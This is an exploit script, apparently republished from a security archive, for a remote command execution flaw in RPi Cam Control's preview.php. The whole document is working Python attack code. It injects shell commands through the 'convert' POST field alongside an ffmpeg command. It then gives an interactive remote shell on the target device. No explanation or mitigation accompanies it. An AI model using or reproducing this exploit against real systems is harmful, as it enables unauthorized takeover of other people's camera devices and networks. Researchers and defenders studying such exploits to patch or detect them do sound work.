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RPi Cam Control < 6.4.25 - 'preview.php' Remote Command Execution
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来源：vfocus.net 作者：Shells 发布时间：2018-09-11
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#!/usr/bin/python
import sys
import requests
import os
import re
import readline
def usage():
print "\nRPi Cam Web Interface Exploit\n"
print "Usage: %s http://host/path/to/preview.php \n" % sys.argv[0]
print "Options: "
print " -h, --help Show this help message and exit"
print ""
sys.exit(0)
def execute_command(url, cmd):
split = "---a97a13f9f48c65c72e4802fc1e516e3f---"
convert = ".) >/dev/null 2>&1; (" + cmd + ") 2>&1; echo " + split + ";#aaaaaaa"
convertCmd = "/usr/bin/ffmpeg -f image2 -i i_%05d.jpg"
data = {"convert":convert,"convertCmd":convertCmd}
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"}
try:
r = requests.post(url, headers=headers, data=data, verify=False)
if r.status_code == 200:
if len(r.content) > 0 and split in r.content:
return r.content.split(split)[0]
else:
return ""
else:
print "\n[*] Error: Received HTTP Status " + str(r.status_code) + "\n"
return ""
except requests.ConnectionError as e:
print "\n[*] Error: An error occurred while connecting to the host.\n"
exit(1)
except requests.exceptions.RequestException as e:
print "\n[*] Error: Something unexpected happened.\n"
print e
exit(1)
def main():
if len(sys.argv) < 2 or sys.argv[1] in ("-h", "--help"):
usage()
url = sys.argv[1]
print "\nRPi Cam Web Interface Exploit"
print "\n[*] Attempting exploit on:"
print " " + url
username = execute_command(url,"whoami").strip()
if len(username) == 0:
exit(1)
hostname = execute_command(url, "hostname").strip()
path = execute_command(url, "pwd").strip()
print "\n[*] Returning prompt!\n"
try:
while True:
prompt = username + "@" + hostname + ":" + path + "$ "
cmd = raw_input(prompt)
if cmd == "exit":
print "\n[*] Goodbye!\n"
return
elif cmd.startswith("cd "):
chars = set(";&|")
if any((c in chars) for c in cmd):
print "[*] This shell only supports cd as a standalone command."
else:
cmd = cmd.split()
tmpPath = " ".join(cmd[1:])
if tmpPath == "..":
if len(path.split("/")) > 2:
tmpPath = "/".join(path.split("/")[:-1])
else:
tmpPath = "/"
cmd = "cd " + path + " && cd " + tmpPath + " 2>&1 && pwd"
tmpPath = execute_command(url,cmd).strip()
if tmpPath.startswith("/") or re.match("^[a-zA-Z]:\\)*",tmpPath):
path = tmpPath
else:
print tmpPath.split('\n')[0]
elif cmd == "clear":
os.system("clear")
else:
cmd = "cd " + path + " && " + cmd
results = execute_command(url, cmd)
if len(results) != 0:
print results
except KeyboardInterrupt:
print "\n\n[*] Goodbye!\n"
return
if __name__ == "__main__":
main()
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